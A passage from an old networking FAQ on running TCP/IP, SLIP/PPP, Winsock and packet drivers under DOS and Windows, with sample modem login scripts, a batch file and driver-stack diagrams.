carrier on exit, or the DIALER program, available via: ftp://ftp.cica.indiana.edu/pub/pc/wi...l/dialexe.zip. You can also use EtherPPP (ftp://merit.edu/pub/ppp/pc/etherppp.zip) instead of Trumpet Winsock's built-in PPP. This is an Ethernet simulation driver, so you will configure Trumpet Winsock as though it were running over an Ethernet Packet driver, i.e. by loading WINPKT 0x60, and setting the packet driver vector in TCPMAN to 0x60. EtherPPP comes with its own dialer, so you will need to create a dialing script. If your TCP/IP address will be changing, you will also need to write a little batch script to capture the assigned IP address, and insert it into Trumpet's initialization file. EtherPPP takes up too much RAM (121K), but otherwise works fine. As for Trumpet Winsock's built-in scripting language, the default dialout script is LOGIN.CMD. A sample LOGIN.CMD file from Geoff Cox (mailto:geoff@satro.demon.co.uk): # # initialize modem # output atzm0\13 input 10 OK # # set modem to indicate DCD # output at&d2&c1\13 input 10 OK\n # # send phone number # output atdt0813434848\r # # my other number # #output atdt241644\13 # # now we are connected. # #input 30 CONNECT # # wait till it's safe to send because some modem's hang up # if you transmit during the connection phase # #wait 30 dcd # # now prod the terminal server # #output \13 # # wait for the username prompt # input 30 ogin: username Enter your username output \satro\r # # and the password # input 30 assword: password Enter your password output \my password\r # # we are now logged in # input 30 otocol: # # see who on for informational reasons. # output SLIP\r input 30 HELLO A-5. What publicly distributable TCP/IP applications are there for DOS? Windows? Right now there are a wealth of publicly distributable TCP/IP applications running under DOS. Windows also has a wealth of programs available, including implementations of Gopher, Mail (POP3/SMTP), FSP, WWW, Telnet, FTP, IRC, and WAIS. See the Resource listings for information. A-6. What software is available for doing SLIP? Compressed SLIP? PPP? For DOS? For Windows? For OS/2? Trumpet Winsock now supports both PPP as well as SLIP/CSLIP. For SLIP or CSLIP use with DOS, I recommend using SLIPPER or CSLIPPER. These are packet drivers that can be used along with a dialer. For PPP, I recommend the EtherPPP packet driver described above. There is a special version of NCSA Telnet for PPP, available from ftp://merit.edu/pub/ppp/pc. KA9Q supports SLIP/CSLIP as well as PPP, but unfortunately can not be used as a TCP/IP protocol stack to run other apps. I have heard good things about IBM's TCP/IP for OS/2, but haven't used it msyelf. Please see the FAQ from news:comp.os.os2.networking for details. IBM, FTP Software, Beame & Whiteside, Frontier, SPRY and Netmanage also offer SLIP support in their products. See the resource listings for details. A-7. What about the software included with various books? The software included with various books (including mine) is usually Chameleon Sampler from NetManage. Sampler supports SLIP/CSLIP/PPP, but not connection over a network, and includes software for FTP, Telnet, TN3270, and Mail. The stack included with Sampler (NEWT) is Winsock compatible, so you can run any Windows Sockets-compatible application over it. Installation is quite a bit simpler compared with going the Trumpet Winsock route, so this is probably the best way to go assuming that you are a dialup IP user. However, be aware that Chameleon Sampler can cause problems if you attempt to install it on a system that already has a version of TCP/IP, such as one running Microsoft WFW TCP/IP-32. The installer does not have an "applications only" option, which is unfortunate. Lately, some books are bundling Spyglass Mosaic. This is a good, solid Mosaic implementation, but not as featureful or wizzy as second generation browsers such as Netscape or BookLink. A-8. What diagnostic utilities are available to find problems with my connection? Where can I get them? Frequently used diagnostic utilities include ifconfig (checks the configuration of the network interfaces), ping (tests IP layer connectivity), traceroute (traces the route that a packet takes between two sites), netstat (checks the routing table), tcpdump (protocol analyzer), arp (looks at the IP to Ethernet address mappings). Microsoft TCP/IP-32 includes versions of all of these except for tcpdump. KA9Q includes ifconfig, ping and traceroute functions. In KA9Q hop check is the equivalent of traceroute. The Trumpet TCP/IP stack also has a hopchk2 command that is a traceroute equivalent. Etherload is very useful for network profiling, as well as packet analysis. Although it can't understand RARP or DHCP, it does handle multiple protocols (AppleTalk, IP, IPX/SPX, NetBEUI), lots of IP protocols (ARP, BOOTP, DNS, RIP, TFTP, TCP and UDP statistics, Telnet, FTP). It even can handle NetBIOS traffic, which UNIX tcpdump can't. One weakness is that it doesn't do RARP or DHCP. The other major diagnostic utility I use is tcpdump, running under UNIX. However, this is a TCP/IP only diagnostic tool, can't be used with Netware, and doesn't know diddly about NetBIOS. While Etherdump can be used for packet catching, I wish it would do more of the work for you, along the lines of TCPDUMP. Life's too short to spend looking at hex packet traces, so I use EtherLoad or tcpdump instead. Trumpet Winsock comes with Windows implementations of Ping and Traceroute. A-9. Is there a CD-ROM with the software included in this FAQ? The Packet Driver, WinSock & TCP/IP CD-ROM is available from CDPublishing for$29.95. This includes the packet drivers of course,
but also lots of other DOS and Windows TCP/IP stuff, including
Windows Sockets applications. It also includes the text of all
the RFCs. This is now somewhat out of date (it was cut in
December 1993), but is otherwise highly recommended.

CDPublishing, (604)874-1430, (800)333-7565, fax: (604)874-1431,
mailto:info@CDPublishing.com, ftp://ftp.CDPublishing.com/,
Gopher site: gopher://gopher.CDPublishing.com/, WWW: http://www.CDPublishing.com/

A-10. Does Windows NT support SLIP? PPP?

The Windows NT 3.5 supports PPP (client and server) and SLIP (client),
both including support for Van Jacobson header compression. It also
supports DHCP, and Windows Internet Name Service (WINS).

A-11. Where can I get Microsoft TCP/IP-32?

Microsoft has now released a 32-bit TCP/IP stack for
Windows for Workgroups v3.11. It's easy to set up,
fast, and has worked fine for me. It supports a host of very
nice new features, including DHCP automatic configuration, WINS
name resolution, and Windows Sockets v1.1. In addition it comes
with Telnet and FTP applications. However, please note that
it does not offer SLIP or PPP support.
The final release is now available via:
ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/

A-12. How do I get my BBS to run over TCP/IP?

First off, let's clarify what we mean by "over TCP/IP." This can mean
everything from "accessible via Telnet" to being a full Internet
citizen, supporting Gopher, HTML, etc.

NovaLink Professional is today the only BBS software that includes
support for HTML in mail and news. For info, contact Res Nova
Software. Softarc's FirstClass package will soon be availble on Windows NT,
and has also promised HTML support.

eSoft's IPAD is a full fledged SMTP, NNTP, DNS, FTP, Telnet, and SLIP/PPP
server, that can be hooked up to an existing TBBS system to provide
full Internet support. It comes with hardware and costs in the neighborhood
of $4K. The Major BBS now runs under UNIX, and thus offers Internet support; the DOS version now has an Internet gateway that can handle telnet, mail, and news, among other things. Support for a variety of BBSes is available from Murkworks. Their BBSNet product provides a Telnet interface that looks like a FOSSIL driver. The first version runs partly as an NLM; some of the code resides on the server. For info, contact BBSnet,MurkWorks, Inc., P.O. Box 631,Potsdam, NY 13676, +1 315 265 4717, mailto:info@MurkWorks.com For further information on running BBSes on the Internet, see The Online User's Encyclopedia, Addison-Wesley. A-13. Are there graphical servers out there? Yes! For Windows there is a graphical SMTP daemon which is not very functional (it can't do as much as KA9Q); several Web servers, including a Windows version of NCSA's HTTP, and SerWeb. For Windows NT, The European Microsoft Windows Academic Consortium (EMWAC) has released Windows NT servers for Gopher, WAIS, and WWW. These servers are easy to install, and fast, and offer the full complement of capabilities, including support for forms, access to WAIS indices from within HTTPS, installation as a Windows NT service, etc. Highly recommended. See the resource section for details. A-14. What methods of address assignment are available? Methods of address assignment include client/server protocols (RARP, BOOTP, DHCP), as well as script-based methods (terminal server indicates, "your address is 192.187.147.2"). PPP also supports assignment of addresses from the server. As part 2 of this FAQ discusses, there are RARP and BOOTP clients and servers available for DOS. Typically the clients work by stashing the IP address in a DOS environmental variable. It is then your responsibility to modify the appropriate config files to reflect this address. This can be done using a DOS batch script and a utility such as DOS awk. This same approach can be used to modify config files when using EtherPPP; this does not place the IP address into a variable, but the output of EtherPPP can be piped to a file and the IP address picked off and inserted in the appropriate locations. If this sounds complicated, it is; be warned. Trumpet Winsock supports script-based assignment of addresses. Microsoft TCP/IP supports a DHCP client and NT Server supports a DHCP server. There is also a forthcoming DHCP server for Sun. However, be aware that these products are not always RFC compliant. For example, RFC covers interoperability between BOOTP and DHCP. This RFC states states how a DHCP client can use a BOOTP server to determine its parameters, and how a BOOTP client can interoperate with a DHCP server. However, I am not aware of a DHCP client or server that implements these recommendations. A-15. How can I set up PPP server on a UNIX host? This is not the appropriate place to address that question, but lots of info on this is available in the news:comp.protocols.ppp FAQ. A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP? WinSNMP is an API which provides a standard interface to to the Simple Network Management Protocol (SNMP) for network management applications running under Windows. Applications written to WinSNMP can run on any WinSNMP-compatible implementation. Vendors supporting WinSNMP include FTP Software, which supports it in both OnNet 1.1, and PC/TCP 3.0. SNMP agents are also available in Windows NT, Chameleon, and other packages. There are also freeware WinSNMP-compliant applications. See the Resource Section for details. However, if your chosen TCP/IP stack does not support an SNMP agent, you are probably out of luck. This is because SNMP support cannot just be tacked on; the stack must keep the statistics, and work closely with the SNMP agent in order to allow these variables to be read in response to SNMP queries. Without detailed knowledge of a particular stack's operation, it is virtually impossible to write an SNMP agent for it. A-17. What proxy servers are available for use with Web browsers? Mosaic and WinWeb now both support proxies via the CERN httpd, which supports http, ftp, gopher, and wais proxies, as well as caching. Netscape supports the SOCKS proxy. A-18. Why doesn't my Web browser support direct WAIS queries? If you've been trying out WinWeb, Netscape, Booklink, Windows Mosaic, or Cello, you've noticed that trying to resolve a WAIS URL results in an error. You may have checked your URL syntax over and over, trying to figure out what you did wrong. Guess what? The only Web browser that supports direct WAIS queries is XMosaic v2.4 or later. On that browser, a WAIS query will generate a request to port 210 on the destination WAIS site. (I know, because I've run TCPDUMP to verify this). On other browsers, you can reach WAIS sites that have set up a Gopher or Web server to handle queries; however, you cannot reach them directly. How did this come about? Windows Mosaic v1.0 contained support for a WAIS gateway operating at NCSA. This gateway took your incoming request, and forwarded it to the destination WAIS site, and when the response came back, forwarded the answer to you. However, the NCSA WAIS gateway got bogged down, so support for WAIS gatewaying was removed in v2.0. However, since they didn't put direct WAIS support in, an error was generated. In my opinion, this was (and is) handled lamely. Either put up a reasonable error message explaining that WAIS is not supported, or put in direct support. A-19. What is SOCKS? What TCP/IP stacks and applications support it? SOCKS is a type of proxy server that listens on port 1080. Instead of sending HTTP requests to port 80, gopher to port 70, etc. a SOCKS-compliant application will instead route them to port 1080 on the SOCKS server. The SOCKS server then examines the requests and decides if they should be allowed or denied. To my knowledge, Trumpet Winsock v2.0 is the only TCP/IP stack with built-in SOCKS support. It apparently has problems with rbind, which can get gotten around by using FTP in PASV mode. Netscape also supports SOCKS. A-20. How can I handle authentication on my NNTP server? A good way to handle this is to use the AUTHINFO extensions to NNTP which are supported by the INN server, as well as clients supporting AUTHINFO, such as WinVN, the Trumpet newsreader (DOS and Windows versions), and Internews on the Macintosh. With AUTHINFO, you can automatically allow hosts within a known subdomain to post without authentication, forcing users outside this domain to input their userID and password, which is the same as that needed to access a POP server running on the same machine. With AUTHINFO, the userID is automatically placed in the posting. A-21. What is SlipKnot? SlipKnot (TM) is a shareware Web browser for MS Windows that works with ordinary UNIX shell accounts, without requiring a SLIP or PPP connection. SlipKnot provides a UNIX shell terminal window so that you can still use your ordinary UNIX commands, or you can switch into Web browser mode. With SlipKnot, up to five documents can be visible at a time; previous requests are cached. Since SlipKnot supports threading, you can look at an existing document while a new one is being retrieved. SlipKnot supports saving or printing of documents, including embedded images. SlipKnot requires a mouse, Windows 3.1 or WFW with 2 MB disk space, 4 MB of memory, with 8 MB recommended. On the UNIX side, you will need Xmodem or Ymodem support. See the resource section for details. A-22. What is TwinSock? TwinSock is a freeware Winsock proxy client implementation. When using TwinSock, you need not assign an official IP address. When a Windows application makes a Windows Sockets call, the TwinSock client passes the request to a version of TwinSock running on the firewall host. The firewall host will then permit or deny the request, and will pass the response to through to the requesting client. For more information on TwinSock, check out news:alt.dcomp.slip-emulators, news:comp.os.ms-windows.networking.tcp-ip, news:comp.os.ms-windows.apps.comm A-23. How do I get info on the ODI specification? Try: ftp://netlab2.usu.edu/odi A-24. What is WinISDN? Ed Klingman (mailto:klingman@interramp.com) writes: The WinISDN API is an open standard. It was created by NetManage, ISDN*tek and Performance Systems. Inc (PSI) to support PPP packets to the Internet, peer-to-peer connectivity, and Voice applications over ISDN. It is NOT a proprietary standard, no royalties are associated with it. WinISDN is packet-based and (for simple connectivity) requires NO knowledge of ISDN protocols. This is probably its main advantage over CAPI and TAPI, both of which tend to require ISDN protocol knowledge to do the simplest connection. Of course, ISDN protocol support is there for advanced applications. WinISDN provides very simple connections over ISDN networks and supports HDLC PPP packets on B-channels, Voice, and streaming data transfer as well as X.25 packets on the D-channel. It runs on Windows 3.1 systems and has run under Windows 95 beta. It works well under IBM's Win/OS2 software. WinISDN is supported by the following hardware providers: ISDN*tek - available IBM - announced 3COM - not officially announced AccessWorks - not officially announced Motorola - not officially announced Teles - not officially announced others - working on it WinISDN is supported by the following TCP-IP software vendors: NetManage - available Spry - Q2 - not officially announced Wollongong - Q2 - not officially announced FTP - Q3 - not officially announced Frontier - ?? Internet Access using WinISDN is available in: US - all ISDN switches: AT&T 5ESS, DMS-100, Siemens Japan - NTT INS-64 Israel - Bezeq ISDN Europe - Q2 or Q3, 1995 The WinISDN API can be downloaded (as a Word 2.0 doc) from: ftp://ftp.netmanage.com/pub/win_stan...n/winisdn9.doc The market did not "agree" to this standard. It became a standard by providing the first PC-card ISDN acess to the Internet in the US. Its simplicity, robustness, and open-ness, caused it to be adopted by the above players, among others. It was designed to allow mapping from CAPI and TAPI into WinISDN. ISDN*tek will be announcing a Visual Basic WinISDN Developers kit at the Software Developers Conference in Feb and VBITs in March. B. Questions about drivers B-1. What do I need to know before setting up SLIP or PPP? Before setting up your SLIP or PPP connection, you should have available the following information: * The domain name and TCP/IP address of your host. * Whether your TCP/IP address will be assigned statically, dynamically, or from the server. * If from the server, whether you will be using RARP, BOOTP or DHCP. * The domain name and TCP/IP address of your machine (if you are not configuring the address dynamically or via BOOTP) * The domain name and TCP/IP address of the primary and secondary Domain Name Server. * The subnet mask. * The domain name and TCP/IP address of an NNTP server. * Whether your host supports POP, and if so, what version. * Whether the host supports compressed or uncompressed SLIP, or PPP. * The size of the Maximum Receivable Unit (MRU). Do not attempt to connect to your host before you have this information, since it will just waste your time and money, and may cause problems for the network. In particular, do not attempt to initiate a connection using a made up TCP/IP address! It is possible that your madF-up address may conflict with an existing address. This is probably the quickest way to get people very angry at you. Static addressing means that your TCP/IP address will always be the same. This makes it easy to configure your setup files. Dynamic addressing means that the host will send you a message containing your TCP/IP address when you log on. This can be problematic if your software doesn't support grabbing the address and inserting it into the setup files. If not, then you may have to edit your setup files every time you log on. Yuck! Chameleon includes a version of SLIP which can handle dynamic addressing. The most recent version of Novell's Lan Workplace for DOS does as well. You can also retrieve your address using RARP, BOOTP or DHCP. RARP is only available to those on the same LAN as the RARP server, since it uses broadcasting. BOOTP clients can access BOOTP servers on other LANs via BOOTP relay. DHCP is a BOOTP extension, which allows complete configuration of a client from info stored on a DHCP server, and in addition supports new concepts such as "address leases". Since DHCP frames are very similar to BOOTP frames, devices supporting BOOTP relay will also support DHCP relay. Of course, for DHCP or BOOTP to work, you will need to set up a DHCP or BOOTP server. DHCP servers are available for UNIX, and Windows NT; BOOTP servers are available for UNIX (BOOTPD, from CMU). PPP also supports server assignment of TCP/IP addresses. B-2. How do I configure SLIPDIAL? From Ashok Aiyar, mailto:ashok@biochemistry.bioc.cwru.edu: PHONE Script Files: PHONE comes with several scripts (for various modems) and for the University of Minnesota Terminal server built into it. The command PHONE WRITE writes these scripts to an ASCII file called PHONE.CMD, which can be edited to your needs (modem and slip server) The documentation that accompanies PHONE, provides good instructions on writing script files to get PHONE to dial SLIP servers other than the University of Minnesota server. For example here is a script that I use to dial a CISCO server at the University that I attend. Background: To start a SLIP connection, I dial our terminal server, and login with a username and password. After doing so, I start a SLIP session with the following command "slip usernamF-slip.dialin.cwru.edu", followed by my password -- again. Here then is the relevant portion of the PHONE.CMD script file - # # CWRU-TS2 SLIP login script by Ashok Aiyar 3/26/93 # Last revised 3/28/93 Procedure Host.CWRU.Login TimeOut 60 'CWRU-TS2 terminal server is not responding' Message "CWRU-TS2 SLIP login script -- Version 1.1" Message 'Waiting for SLIP server to respond' Quiet ON Expect 'Verification' Message 'Request for User Verification Received from CWRU-TS2' Message 'Sending your user name and password' Quiet OFF Expect 'Username:' Send '%u&lt;' Expect 'Password:' Private Send '%p&lt;' Reject 'Access denied' 'Your user name or password was not accepted' TimeOut 30 'SLIP server did not respond to your validation request' Expect 'CWRU-TS2&gt;' Send 'SLIP&lt;' TimeOut 10 'SLIP server did not respond to SLIP command' Expect 'IP hostname or address:' Send '%u-slip.dialin.cwru.edu&lt;' TimeOut 10 'SLIP server did not respond to hostname' Reject 'Bad IP address' 'Incorrect Hostname' Expect 'Password:' Send '%p&lt;' Reject 'Access denied' 'Password not accepted.' TimeOut 10 Expect 'Header Compression will match your system' Message 'Login to CWRU SLIP server successful' Wait 1.0 EndProcedure Host.CWRU.Login # # Procedure Host.CWRU.LogOut # Nothing special needs to be done to logout EndProcedure Host.CWRU.LogOut # # End of Script file # ---------------------------------------------------------------------- How to use packet drivers other than UMSLIP with PHONE? The quick answer -- there is no "clean" way. Below is a batch file hack that I wrote to use PHONE with other packet drivers. In this example, the packet driver is Peter Tattam's CSLIPPER. To use a batch file like this, you must know the parameters with which you plan to use the packet driver -- i.e interrupt vector, baud rate, port address, and IRQ. This batch file requires UMSLIP.COM, CSLIPPER.EXE, and TERMIN.COM to be in the same directory or in your path ... All that the BATCH file does is to let you dial the SLIP connection using PHONE, load the appropriate packet driver, hangup the connection, and unload the driver when you are done ... -- being CWRUSLIP.BAT -- @echo off rem this batch file is an ugly hack of U. of Minn. "SLIP.BAT" rem awaiting a version of C/SLIPPER that can directly interact rem with PHONE rem CWRUSLIP.BAT file is used with PHONE.EXE to start a SLIP rem connection on CWRU-TS2 rem last modified 3/28/93 -- Ashok Aiyar @echo off cls goto start :start if %1. == ?. goto help if %1. == help. goto help if %1. == setup. goto setup if %1. == dial. goto forceD if %1. == hangup. goto forceH if %1. == quit. goto forceH if %1. == HELP. goto help if %1. == SETUP. goto setup if %1. == DIAL. goto forceD if %1. == QUIT. goto forceH goto bogus goto unload :forceH termin 0x60 umslip &gt;nul phone force hangup goto unload :slipper termin 0x60 REM the following line must be changed to reflect the COM port, REM IRQ, baud rate, and software interrupt lh c:\packet\cslipper com1 vec=60 baud=57600 ether goto end :forceD termin 0x60 umslip &gt;nul phone force dial goto slipper :setup termin 0x60 umslip &gt;nul phone setup goto help :unload termin 0x60 goto end :bogus echo %1 is not a valid command. echo Try "cwruslip help" for a list of valid commands echo. :help echo -------------------------------------------------------------- echo Case Western Reserve University SLIP Setup echo using Univ. of Minnesota PHONE echo -------------------------------------------------------------- echo cwruslip setup modem settings, phone number, username etc. echo. echo cwruslip dial DIAL and establish the SLIP connection echo cwruslip quit HANGUP the phone and unload the driver echo cwruslip help this screen echo. :end -- end CWRUSLIP.BAT -- B-3. How do I install packet drivers for Windows applications? The secret is to load the packet driver, then run Windows. If you are running Trumpet Winsock, you will also have to load WINPKT before running Windows, as follows: winpkt 0x60 If you are running DOS applications within a virtual DOS session under Windows, you should load PKTMUX after your packet driver, as follows: PKTMUX 4 [or however many sessions you want] WIN [load windows] Then within each DOS session, load PKTDRV, the virtual packet driver. If you are running Trumpet Winsock along with other DOS apps in a virtual DOS session, then you will need to load PKTDRV prior to loading Windows, and then load WINPKT on top of it, as follows: PKTMUX 4 PKTDRV 0x62 WINPKT 0x62 PKTDRV 0x60 WIN TCPMAN will then find the virtual packet driver at 0x62. B-4. When do I need to install WINPKT? You only need to load WINPKT before Windows if you have a network card in your computer, or are running a packet driver that simulates such a card, such as EtherPPP, or CSLIPPER in Ethernet simulation mode. If you are using Trumpet Winsock via SLIP/CSLIP, there is no need to load WINPKT, since you can use Trumpet Winsock's built-in CSLIP driver. PKTMUX and WINPKT both accomplish the same thing: allowing you to connect to a DOS packet driver running in real mode from a virtual DOS session under Windows. PKTMUX is useful when you are running more than one TCP/IP stack, and since it takes up more RAM and is slower than WINPKT, you should only use it when you want to run more than one stack at a time. If you are running only one DOS app, or are using Trumpet Winsock, stick with WINPKT. James Harvey (mailto:harvey@iupui.edu) notes: Winpkt is only useful running DOS applications with built-in TCP/IP stacks under Windows, and for some Windows-based stacks (like the Trumpet winsock.dll). When an application registers with a packet driver TSR to receive packets of a specified protocol type, one of the things it hasto pass as a parameter to the packet driver in the call is the address of a routine in the application that the packet driver is to call when it has a packet to pass back to the application. In the case of an application running in 386 enhanced mode in a DOS shell under Windows that is using a packet driver loaded in real mode before Windows was loaded, the packet driver must ensure that Windows has the application in memory when it does the callback, otherwise the callback jumps off into space and your system locks up. Winpkt does a Windows system call to force the app into memory before the callback is done. Erick Engelke (mailto:erick@uwaterloo.ca) notes: Windows in enhanced mode uses the protected mode of the 386 CPU to create multiple virtual machines. Winpkt tells Windows to switch to the correct virtual machine before trying to pass up the packet. This reduces the chances of Windows crashing. B-5. How to do I run both WinQVT and ODI? My advice is to use the Windows Sockets version of WinQVT/Net, Trumpet Winsock, and ODIPKT. ODIPKT will allow you to run packet driver software over ODI. You will also need to load WINPKT for Trumpet Winsock. The loading sequence is: LSL [Link support layer] NE2000.COM [or other ODI driver] IPXODI [IPX version supporting ODI] NETX ODIPKT 1 96 WINPKT 0x60 WIN [run windows] Then run Trumpet Winsock, and load WinQVT/Net. B-6. Is it possible to use BOOTP over SLIP? Yes, but it is easier to use dynamic address assignment to get your IP address. This is where the SLIP server outputs your IP address before switching to SLIP. If you need BOOTP, then you should run a BOOTP server on the SLIP server so that it can tell which SLIP connection originated the request. Of course, the BOOTP server will ignore the hardware address of the request originator, but instead will keep track of the SLIP interface the request came in on. See the question on adding BOOTP to KA9Q for info on how to handle this on the PC. Under UNIX, you may have to add BOOTP capability to your slip driver, and rebuild the kernel. (Not recommended for the squimish). B-7. How do SLIP drivers work? Some TCP/IP applications are written to only support Class 1 (Ethernet) packet drivers, but do not support Class 6 (SLIP). For these applications, you need software to make the application think it is dealing with a class 1 interface. This is done by adding fake ethernet headers to incoming SLIP or PPP packets and stripping the headers off outgoing packets. B-8. When do I need to install PKTMUX? PKTMUX is needed to allow you to use more than one TCP/IP stack at the same time. This is useful if you have applications that require different stacks. Note that you do not need PKTMUX to run different protocols, since packet drivers only look at packets in the protocol they're designed to handle, and therefore you can use more than one of these at a time without conflict. You also don't need PKTMUX if all your applications use the same TCP/IP stack. PKTMUX works by looking at outgoing datagrams, and caching information on source and destination ports and addresses. Using this information, PKTMUX tries to sort incoming datagrams by TCP/IP stack. If it can't figure out which stack to send a datagram to (as might be the case if you were running a server application on a well-known port, and had not sent any outgoing packets yet), PKTMUX will send the datagram to all stacks. If all stacks do not complain about the datagram, PKTMUX will throw away the ensuing outgoing ICMP error message, assuming that one of the stacks correctly received the datagram. If all stacks complain, it will send a single ICMP message and throw the rest away. While PKTMUX does its job very well, there are some situations that it cannot handle, such as port conflicts. If two applications open the same TCP port, chaos is inevitable, and there is little that PKTMUX can do to help. B-9. Can NDIS be used underneath multiple protocol stacks of the same type? No. There is no equivalent to PKTMUX for NDIS. B-10. Is there an NDIS over packet driver shim? Joe Doupnik writes: "No. Packet Drivers work by having an application register for a particular packet TYPE, such as 0800 for IP. NDIS works much differently, by offering a peekahead of every packet to applications in turn, a polling operation. The only way NDIS could gracefully sit on a PD would be to run the Packet Driver in all-types mode and let NDIS see all pkts not used by other clients. Needless to say, that's an undesirable situation. The quick solution, costing about US$100 (at least at my place,
more at yours) is a second Ethernet board in the client together with a

B-11. How do I run NetBIOS over TCP/IP?

NetBIOS over TCP/IP is discussed in RFCs 1001 and 1002, which defines
three types of NetBIOS nodes:

* B nodes, which use UDP broadcast packets to distribute datagrams and
resolve names.
* P nodes, which use point-to-point communications and which
require NetBIOS Datagram Distribution (NBDD) and NetBIOS Name
Servers (NBNS). P nodes do not listen to or use broadcast
services, so they cannot be used alongside B nodes. Unfortunately NBNS,
and NBDD servers were not widely implemented, and those
that do exist (such as an implementation from Network Telesystems)
are not inexpensive.
* M nodes, which use both point-to-point and broadcast.

B node technology cannot be used on an IP internet without extensions,
since UDP broadcast packets are not forwarded through routers. This
is not a problem with use of NetBIOS over IPX/SPX, since in IPX/SPX

However, until very recently, M and P node technology was not supported
by popular TCP/IP implementations. For example, PC/TCP supports
B node technology with extensions such as a broadcast file, host file,
or DNS resolution of NetBIOS names. Windows NT and WFW TCP/IP uses an
LMHOSTS file for resolving names.

According to Chip Sparling of FTP Software:

"From what I remember from our discussions of a few years ago, P
nodes were only implemented by Ungermann Bass and 3COM (and they
required you to use a NetBIOS name resolver which was non-rfc 1001, 1002 compliant),
nobody did M nodes (as far as I remember) and PC-LAN, Lantastic and
LanManager used B node. Also, if you did a P or M node it wouldn't be
compatible with a B node NetBIOS. We decided that we could give the
compatibility and functionality (routability) with a B node plus
extensions implementation. So, that's what we did."

Without implementation of M and P node technology, the only way
to run over an IP internet is to to implement B node technology
with extensions, as FTP Software does in PC/TCP. According to Chip,
"one way to handle large numbers of hosts on multiple networks is
like nnn.nnn.nnn.255. which will cover an entire subnet."

Assuming you don't need any of the extensions to RFC NetBIOS
Microsoft created to make NetBIOS work smoothly in a routed environment
(available only in their IP stack), you can choose from a wide variety of
commercial vendors. For example, FTP Software's PC/TCP includes RFC NetBIOS
support; Performance Technologies has a NetBIOS that runs over packet drivers,
as does Accton (LANSoft).

If any other vendors are reading this, I'd love to have information
on how *you* implement NetBIOS over TCP/IP, and whether you'll be
supporting WINS, the new P-node technology name resolution service
from Microsoft.

WINS support is included in the recent release of TCP-IP/32 which

Another recent development is the release of an NBNS and SMB
server for UNIX, known as Samba. Samba works great, I am using
it. See resource section for details.

B-12. How do I run NFS along with another TCP/IP application?

The DOS NFS implementation by M. Durkin now supports a built-in
packet multiplexer that can handle NFS plus another stack loaded
simultaneously. If you need to load more stacks, then you will need
to run PKTMUX as well.

See the resource section for details.

B-13. How do I run Trumpet Winsock along with KA9Q or NFS?

The secret is to load WINPKT on top of the PKTDRV virtual
packet driver, if you are running PKTMUX.

B-14. I am trying to run Netware and TCP/IP at the same time, using
PDETHER. How do I do this?

"On one PC running odipkt over the ODI driver for the pocket ethernet
adaptor resulted in a 10x performance *decrease*. So I switched to
running IPX/SPX over a paket driver for this adaptor wich performs
very well. The setup is like:

pkdriver 0x60
lsl
pdether
ipxodi
netx
winpkt 0x60

I had to get pde103.zip from netlab2.usu.edu to get IPX with Ethernet
II frameing to work. The older pdether from simtel didn't work.
It seems also like winpkt has to be loaded last."

B-15. Sample Stick Diagrams

It has been proposed that we begin to collect some diagrams of working
combinations of hardware, drivers, shims, stacks, and applications. I'm
game, and have made a start below. If you've got some other exotic
configuration that works (or if you've tried one of the configurations below
and discovered it doesn't work, drop me a line).

Running an individual DOS application under Windows

NCSA telnet / DOS Trumpet / POPmail/ PC Gopher III
|
DOS Session
|
Windows 3.1
|
WinPKT
|
Packet driver or Shim
|
DOS
|

DOS Trumpet, NCSA Telnet, and WinQVT/Net over Ethernet under Windows

QVT/NET
|
TRUMPET NCSA telbin |
| | |
PKTDRV1 PKTDRVn |
| | |
DOS Session DOS Session Windows Session
+-----------+-----------------+ |
| |
+ |
WINDOWS 3.1 ............. WINDOWS 3.1
| |
| PKTINT(QVT/NET own)
| |
| PKTDRVx
+-------------------------------+
PKTMUX n
|
Packet Driver or SHIM
|
DOS
|

PC Gopher III, NCSA Telnet over CSLIP under Windows

PC Gopher III NCSA telbin
| |
PKTDRV1 PKTDRVn
| |
DOS Session DOS Session
+-----------+-----------------+
|
+
WINDOWS 3.1
|
|
|
|
+
PKTMUX n
|
CSLIPPER
|
DOS
|
Serial Port

PC Gopher II and NetWare on a LAN - Alternative I
[Didn't work for me, but it's supposed to be OK]

NetWare
PC Gopher |
III |
| |
DOS Session NETX
| |
Windows 3.1 |
| PDIPX
WINPKT /
\ /
\ /
\ /
\ /
Packet Driver
|
DOS
|

PC Gopher III and NetWare on a LAN - Alternative II

PC-Gopher III
|
DOS Session
|
Windows 3.1
|
|
NetWare |
\ /
NETX WINPKT
\ /
IPXODI ODIPKT
\ /
\ /
|
|
ODI driver
|
DOS
|

WinQVT/Net and PC Gopher II and NetWare over a LAN - Alternative I

PC Gopher
III
| Win QVT/Net
PKTDRV1 |
| |
DOS session Windows 3.1
| |
Windows 3.1 PKTINT (QVT/NET own)
| |
| PKTDRVn
WinPKT |
| | NetWare
+----------------+ |
| |
| |
PKTMUX n NETX
| |
\ PDIPX
\ |
\ |
\ |
\ |
Packet Driver --------------+
|
DOS
|

WinQVT/Net, PC Gopher III and NetWare over a LAN - Alternative II

QVT/Net
PC Gopher III NCSA telbin |
| | |
PKTDRV1 ..... PKTDRVn |
| | | |
DOS Session DOS Session Windows Session
+-----------+-----------------+ |
| |
| |
WINDOWS 3.1 .......................WINDOWS 3.1
| |
| PKTINT(QVT/NET own)
| |
| PKTDRVx
| |
| |
| |
| |
+------------------+------------+
|
NetWare |
\ /
NETX PKTMUX n (use if &gt;1 TCP/IP app)
\ /
IPXODI ODIPKT
\ /
\ /
|
|
ODI driver
|

PC Eudora and Windows Trumpet over CSLIP/PPP under Windows using Trumpet Winsock

PC Eudora Windows Trumpet
\ /
\ /
\ /
\ /
TCPMAN
|
Windows 3.1
|
WINPKT 0x60
|
DOS
|
Serial Port

PC Eudora and Windows Trumpet supporting Ethernet and CSLIP/PPP under Windows
using NDIS supporting stack [Chameleon]

[Please note: this is not possible under Trumpet Winsock, since it can
only handle a single interface; it requires a stack that routes]

PC Eudora Windows Trumpet
\ /
\ /
\ /
\ /
Chameleon NEWT
|
Windows v3.1
|
+------------------+
| |
Protocol Manager |
| |
NDIS Mac Driver Serial Port
|
DOS
|
Ethernet card

PC Eudora, Windows Trumpet, and KA9Q under Windows

WinTrump PC Eudora
\ /
\ /
KA9Q \ /
| |
PKTDRV TCPMAN
\ |
\ /
\ /
\ /
\ /
Windows
|
PKTDRV 0x62
|
PKTMUX 2
|
Packet Driver
|
DOS
|
Ethernet Card

HGopher, PC Eudora, and WinTrumpet Under Windows
(Whether the TCP/IP stack is loaded before or
after Windows depends on the stack)

HGopher
|
|
